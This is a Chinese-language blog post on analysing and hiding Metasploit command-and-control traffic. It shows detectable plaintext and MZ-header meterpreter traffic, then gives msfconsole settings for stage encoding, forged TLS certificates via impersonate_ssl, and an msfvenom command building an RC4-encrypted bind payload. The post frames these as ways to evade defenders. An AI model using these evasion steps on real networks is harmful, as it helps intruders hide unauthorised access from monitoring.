Metasploit流量分析与反取证

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

Metasploit已被渗透测试人员广泛使用并广为人知。当使用Metasploit进行命令控制,如不进行加密传输,就会让防御者在网络流量分析时,轻松发现和提取攻击者的网络活动行踪。

所以,网络流量加密传输就成为了必选项。

Metasploit流量分析

Shell payload

起初先用payload windows/x64/shell/bind_tcp进行交互,这是一个cmd shell

a158cdb1e90999700dd46d0837d04f8c

在上图可以看到,当命令控制时,网络数据包是以明文形式发送和接收的。安全设备在记录的同时,还会触发告警,从而被发现。

Meterpreter Payload

接下来看下payload windows/x64/meterpreter/bind_tcp,这是一个高级shell。

b3247cd2f82048d63c01607a8289514e

在进入session后,让我们检查流量。

85de23765ba1a9a84de755f421e6745e

这是建立连接与执行命令的过程。虽然说命令执行的过程已经进行了加密处理,继续进行活动,防御者也不会发现有价值的数据,但可以观察到每个数据都包含MZ标头DOS模式异常

15c72ef52116a28964311d79eb382bcb

在大多数情况下,安全设备也会检测到此活动,触发警报。这就意味着这台主机的权限就会失去。

Metasploit反取证

Stage Encoder

在不使用额外模块的情况下,如何进行再次加密?
这里使用enablestageencodingstageencoder,把发送的stage进行编码,编码方式较多,这里选用的是x86/shikata_ga_nai

1
2
3
msf5 exploit(multi/handler) > set enablestageencoding true
enablestageencoding => true
msf5 exploit(multi/handler) > set stageencoder x86/shikata_ga_nai

6a066417a36ff47e94bd1c3f1b9f5658

再次查看数据包,相同阶段的数据已编码,数据已经无法识别。

5b1c477fe497cad50d7c0f3ba13d1046

TLS

TLS通常是逃避网络检测的选项之一,metasploit同样也提供了payload windows/x64/meterpreter_reverse_https,进行建立TLS加密传输。

f10b01d4df8041168057ec36c553e536

reverse_https使用的是metasploit创建的自签名证书建立的TLS通信。
虽然说数据是加密的,但不代表不会进行验证。

183c55f76ea74bc50cf9bc2f98402cfd

要使用不同的证书,可以购买,也可以使用自签名。但metasploit的auxiliary/gather/impersonate_ssl模块就可以解决这个问题,创建不同的伪证书。

5c9551d8d381b36356dd3870e8b1c237

reverse_https的高级选项中有handlersslcert设置。

56b17dd7e69288052490876307948234

impersonate_ssl输出的pem格式证书路径载入。

1
msf5 exploit(multi/handler) > set handlersslcert /Users/anonysec/.msf4/loot/20200807180153_default_112.80.248.75_112.80.248.75_pe_628298.pem

f8605a3e9e248b80d8c274137f6579e1

RC4 payload

RC4,Rivest Cipher 4,是一种密钥长度可变的流加密算法,属于对称加密的分支。详情 RC4 Wiki
这是metasploit支持的一种加密算法。

下面来看payload windows/x64/meterpreter/bind_tcp_rc4的数据包。

423ba147ce478d9c87fdf9fa88a2872f

数据包已经完全进行了加密传输处理,所有的命令控制都已经进行了隐藏。防御者只能发现这是TCP的流量,但没有任何有用的信息。
需要注意:RC4PASSWORD 记得更改!

4fe2ffba972f4c5b459437a4e6ac6a2b

1
msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 rc4password=Admin@1qaz LPORT=53 -f exe > x64bind_rc4.exe